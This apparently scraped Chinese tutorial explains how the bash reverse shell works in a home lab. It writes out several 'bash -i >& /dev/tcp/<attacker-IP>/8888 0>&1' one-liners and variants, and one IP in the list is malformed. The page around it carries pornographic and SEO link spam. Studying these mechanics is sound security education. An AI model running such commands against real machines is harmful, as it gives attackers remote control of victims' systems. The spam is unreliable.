电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術文章
文章詳情頁

淺析Linux之bash反彈shell原理

瀏覽:55日期:2024-04-10 16:46:01

環境

攻擊機:kali ip:192.168.25.144

靶 機:centos ip:192.168.25.142

過程

kali 監聽本地8888端口

淺析Linux之bash反彈shell原理

靶機 centos 寫入 反彈shell 的命令

bash -i >& /dev/tcp/192.168.25.144/8888 0>&1

淺析Linux之bash反彈shell原理

攻擊機 kali 成功反彈shell

淺析Linux之bash反彈shell原理

原理

反彈shell往往是在攻擊者無法直接連接受害者的情況下進行的操作,原因有很多,例如目標是局域網,或者開啟防火墻的某些策略等情況,而這時,我們就可以讓受害者主動向攻擊者發起連接,被控端發起請求到控制端某端口,并將其命令行的輸入輸出轉到控制端,從而實現交互

我們將命令拆開

bash -i

/dev/tcp/192.168.25.144/8888

>& 0>&1

bash

Linux中一般默認的shell是bash,它功能幾乎可以涵蓋shell所具有的功能,所以一般的shell腳本都會指定它為執行路徑

常用的shell有 ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特點以及用途

查詢當前shell命令 ls -l /bin/sh

淺析Linux之bash反彈shell原理

淺析Linux之bash反彈shell原理

bash -i 打開一個交互式的bash shell 如果有 -i 參數,就是交互式的

交互的意思就是可以和用戶進行交互,輸入命令,回顯給用戶就是一個交互的過程,而執行一個shell腳本就是非交互的

使用命令 echo $- 可以查看是否是交互式shell

淺析Linux之bash反彈shell原理

有參數 i ,是交互式的

執行一個shell腳本

淺析Linux之bash反彈shell原理

無參數 i ,非交互式

/dev目錄

dev是設備(device)的英文縮寫。這里主要存放與設備(包括外設)有關的文件,Linux一切皆文件

/dev/tcp/是Linux中的一個特殊設備,打開這個文件就相當于發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當于在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/

/dev/tcp/192.168.25.144/8888

所以上述命令就是和192.168.25.144:8888建立TCP連接

文件描述符

Linux 系統中,把一切都看做是文件,當進程打開現有文件或創建新文件時,內核向進程返回一個文件描述符,文件描述符就是內核為了高效管理已被打開的文件所創建的索引,用來指向被打開的文件。

所有執行I/O操作的系統調用都會通過文件描述符,即文件描述符可控制輸入輸出(輸入/輸出重定向)

標準輸入(stdin): 代碼為 0 使用 < 或 << 默認設備鍵盤

標準輸出(stdout): 代碼為 1 使用 > 或 >> 默認設備顯示器

標準錯誤輸出(stderr): 代碼為 2 使用 2> 或 2>> 默認設備顯示器

--- +--------+( 0 ) ---->|dev/tty0| 當開啟一個終端時 默認的文件描述符 指向 /dev/tty0(虛擬終端) --- +--------+ --- +--------+ ( 1 ) ---->|dev/tty0| --- +--------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+

大多數Linux 系統命令從你的終端接受輸入并將所產生的輸出發送回​​到您的終端。一個命令通常從一個叫標準輸入的地方讀取輸入,默認情況下,這恰好是你的終端。同樣,一個命令通常將其輸出寫入到標準輸出,默認情況下,這也是你的終端

淺析Linux之bash反彈shell原理

Shell 輸入/輸出重定向

我們讓上圖 輸出重定向

使用 1> 將輸出結果寫入到 指定文件中 文件不存在則創建文件,文件如果存在會覆蓋原文件內容

省略不寫則默認就是 1 同理,輸入重定向 0< 省略不寫則默認就是 0

淺析Linux之bash反彈shell原理

淺析Linux之bash反彈shell原理

使用 >> 會追內容在文件末尾

淺析Linux之bash反彈shell原理

結合上面建立的TCP連接

淺析Linux之bash反彈shell原理

淺析Linux之bash反彈shell原理

kali攻擊機收到

淺析Linux之bash反彈shell原理

結合bash -i

淺析Linux之bash反彈shell原理

淺析Linux之bash反彈shell原理

在kali得到命令執行結果的回顯

淺析Linux之bash反彈shell原理

此時我們輸入name,可以看到,標準輸出錯誤并未被重定向

淺析Linux之bash反彈shell原理

--- +--------+( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ +------------------+( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ +------------------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+

輸入重定向

淺析Linux之bash反彈shell原理

淺析Linux之bash反彈shell原理

在kali攻擊機,輸入

淺析Linux之bash反彈shell原理

靶機得到輸入指令,標準輸出(默認終端)

淺析Linux之bash反彈shell原理

--- +--------+( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ +------------------+( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ +------------------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+

!!!!!!!!!!!!!!!

此時,我們只需要將

bash i > /dec/tcp/192.168.25.144/8888 bash i < /dec/tcp/192.168.25.144/8888 結合

實現在攻擊機 kali 輸入 命令,在kali 機 得到命令回顯,實現了反彈shell

即 使用下面的命令

bash -i > /dev/tcp/192.168.25.144/8888 0>&1

效果 kali ip:192.168.25.140

淺析Linux之bash反彈shell原理

淺析Linux之bash反彈shell原理

此時靶機會輸出在攻擊機所輸入的命令,還有一個問題,標準錯誤輸出 并沒有重定向

淺析Linux之bash反彈shell原理

淺析Linux之bash反彈shell原理

補充:

bash 在執行一條指令的時候,首先會檢查命令中存不存在重定向的符號,如果存在那么首先將文件描述符重定向,存在多個則從左往右依次執行

標準輸出與標準錯誤輸出重定向

此時反彈shell語句里邊用到了 >& 操作符,>& 操作符在不同情況下有不通的含義

>&word 語法中,當word是數字或 - 字符時,操作符 >& 表示復制 文件描述符

而文件描述符的復制格式有 num1<&num2 num1>&num2

這里兩個都是將文件描述符 num1 復制到 num2 ,兩者的區別是,前者是以只讀的形式打開,后者是以寫的形式打開

因此 num1<&num2 num1>&num2 是等價的(讀/寫方式打開對其沒有任何影響)

所以上述命令可以修改為 bash -i > /dev/tcp/192.168.25.144/8888 0<&1

所以 0>&1 或者 0<&1

是對文件描述符的拷貝,是將0[標準輸入]重定向到了1[標準輸出]指向的位置

此時1[標準輸出]指向的是socket連接文件(第一個 > )

重定向完成后,0[標準輸入]也指向了socket連接文件,所以我推測因為拷貝,所以原標準輸出回顯到靶機上(kali上敲的命 令)

--- +--------+( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ ----> +------------------+( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ +------------------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+

此時標準錯誤輸出 依然未曾改變

>&word 語法中,當word不是數字或 - 字符時 >& 表示將 標準錯誤輸出合并到標準輸出中

此時與操作符 &> 功能一樣 >&word 等價于 &> word 都相當于> word 2>&1

當執行 bash -i > /dev/tcp/192.168.25.140/9999 0>&1 命令時,效果如下 標準輸出錯誤并未被重定向

淺析Linux之bash反彈shell原理

所以我們執行命令 bash -i > /dev/tcp/192.168.25.140/9999 0>&1 2>&1 或

bash -i >& /dev/tcp/192.168.25.140/9999 0>&1 均形成了一個閉合的回路 ,同樣,命令回顯到攻擊機上

淺析Linux之bash反彈shell原理

實現以下效果形成閉合,即可反彈shell ,而其他一些反彈命令,只要可以形成如下效果即可

--- +--------+( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ ----> +------------------+( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ ----> +------------------+ / --- +--------+ /( 2 ) ---->|dev/tty0| / --- +--------+

bash -i >& /dev/tcp/192.168.146.25.144/8888 <&1

bash -i >& /dev/tcp/192.168.146.25.144/8888 <&2

bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&1

bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&2

bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&1

bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&2

bash -i > /dev/tcp/192.168.25.144/8888 0>&1 2>&1

本文借鑒了很多大佬的博客,如有更正的地方。還望指出

參考鏈接:

https://xz.aliyun.com/t/2549

https://www.gnu.org/software/bash/manual/html_node/Redirections.html

http://wiki.bash-hackers.org/howto/redirection_tutorial

https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/

到此這篇關于淺析Linux之bash反彈shell原理的文章就介紹到這了,更多相關Linux bash反彈shell內容請搜索好吧啦網以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持好吧啦網!

標簽: Linux系統
相關文章:
主站蜘蛛池模板: 高中学习网-高考生信息学习必备平台| 耐破强度测试仪-纸箱破裂强度试验机-济南三泉中石单品站 | 合肥白癜风医院_合肥治疗白癜风医院_合肥看白癜风医院哪家好_合肥华研白癜风医院 | 五轴加工中心_数控加工中心_铝型材加工中心-罗威斯 | 密集柜_档案密集柜_智能密集架_密集柜厂家_密集架价格-智英伟业 密集架-密集柜厂家-智能档案密集架-自动选层柜订做-河北风顺金属制品有限公司 | 根系分析仪,大米外观品质检测仪,考种仪,藻类鉴定计数仪,叶面积仪,菌落计数仪,抑菌圈测量仪,抗生素效价测定仪,植物表型仪,冠层分析仪-杭州万深检测仪器网 | 专业广州网站建设,微信小程序开发,一物一码和NFC应用开发、物联网、外贸商城、定制系统和APP开发【致茂网络】 | 新疆乌鲁木齐网站建设-乌鲁木齐网站制作设计-新疆远璨网络 | 高低温试验房-深圳高低温湿热箱-小型高低温冲击试验箱-爱佩试验设备 | 假肢-假肢价格-假肢厂家-河南假肢-郑州市力康假肢矫形器有限公司 | 北京公积金代办/租房发票/租房备案-北京金鼎源公积金提取服务中心 | 共享雨伞_共享童车_共享轮椅_共享陪护床-共享产品的领先者_有伞科技 | 知企服务-企业综合服务(ZiKeys.com)-品优低价、种类齐全、过程管理透明、速度快捷高效、放心服务,知企专家! | 压力控制器,差压控制器,温度控制器,防爆压力控制器,防爆温度控制器,防爆差压控制器-常州天利智能控制股份有限公司 | 东风体检车厂家_公共卫生体检车_医院体检车_移动体检车-锦沅科贸 | 吉祥新世纪铝塑板_生产铝塑板厂家_铝塑板生产厂家_临沂市兴达铝塑装饰材料有限公司 | 公交驾校-北京公交驾校欢迎您!| 北京森语科技有限公司-模型制作专家-展览展示-沙盘模型设计制作-多媒体模型软硬件开发-三维地理信息交互沙盘 | 气象监测系统_气象传感器_微型气象仪_气象环境监测仪-山东风途物联网 | 山东PE给水管厂家,山东双壁波纹管,山东钢带增强波纹管,山东PE穿线管,山东PE农田灌溉管,山东MPP电力保护套管-山东德诺塑业有限公司 | 合肥白癜风医院_合肥治疗白癜风医院_合肥看白癜风医院哪家好_合肥华研白癜风医院 | 威实软件_软件定制开发_OA_OA办公系统_OA系统_办公自动化软件 | 电磁铁_小型推拉电磁铁_电磁阀厂家-深圳市宗泰电机有限公司 | 南京泽朗生物科技有限公司-液体饮料代加工_果汁饮料代加工_固体饮料代加工 | 阳光模拟试验箱_高低温试验箱_高低温冲击试验箱_快速温变试验箱|东莞市赛思检测设备有限公司 | 光泽度计_测量显微镜_苏州压力仪_苏州扭力板手维修-苏州日升精密仪器有限公司 | 冷轧机|两肋冷轧机|扁钢冷轧机|倒立式拉丝机|钢筋拔丝机|收线机-巩义市华瑞重工机械制造有限公司 | 学叉车培训|叉车证报名|叉车查询|叉车证怎么考-工程机械培训网 | 流水线电子称-钰恒-上下限报警电子秤-上海宿衡实业有限公司 | 自清洗过滤器,浅层砂过滤器,叠片过滤器厂家-新乡市宇清净化 | 昆山新莱洁净应用材料股份有限公司-卫生级蝶阀,无菌取样阀,不锈钢隔膜阀,换向阀,离心泵 | 深圳天际源广告-形象堆头,企业文化墙,喷绘,门头招牌设计制作专家 | U拓留学雅思一站式服务中心_留学申请_雅思托福培训 | 电位器_轻触开关_USB连接器_广东精密龙电子科技有限公司 | 压片机_高速_单冲_双层_花篮式_多功能旋转压片机-上海天九压片机厂家 | 振动筛,震动筛,圆形振动筛,振动筛价格,振动筛厂家-新乡巨宝机电 蒸汽热收缩机_蒸汽发生器_塑封机_包膜机_封切收缩机_热收缩包装机_真空机_全自动打包机_捆扎机_封箱机-东莞市中堡智能科技有限公司 | 变色龙云 - 打包app_原生app_在线制作平台_短链接_ip查询 | 博莱特空压机|博莱特-阿特拉斯独资空压机品牌核心代理商 | 美缝剂_美缝剂厂家_美缝剂加盟-地老板高端瓷砖美缝剂 | 耐高温硅酸铝板-硅酸铝棉保温施工|亿欧建设工程 | 量子管通环-自清洗过滤器-全自动反冲洗过滤器-沼河浸过滤器 |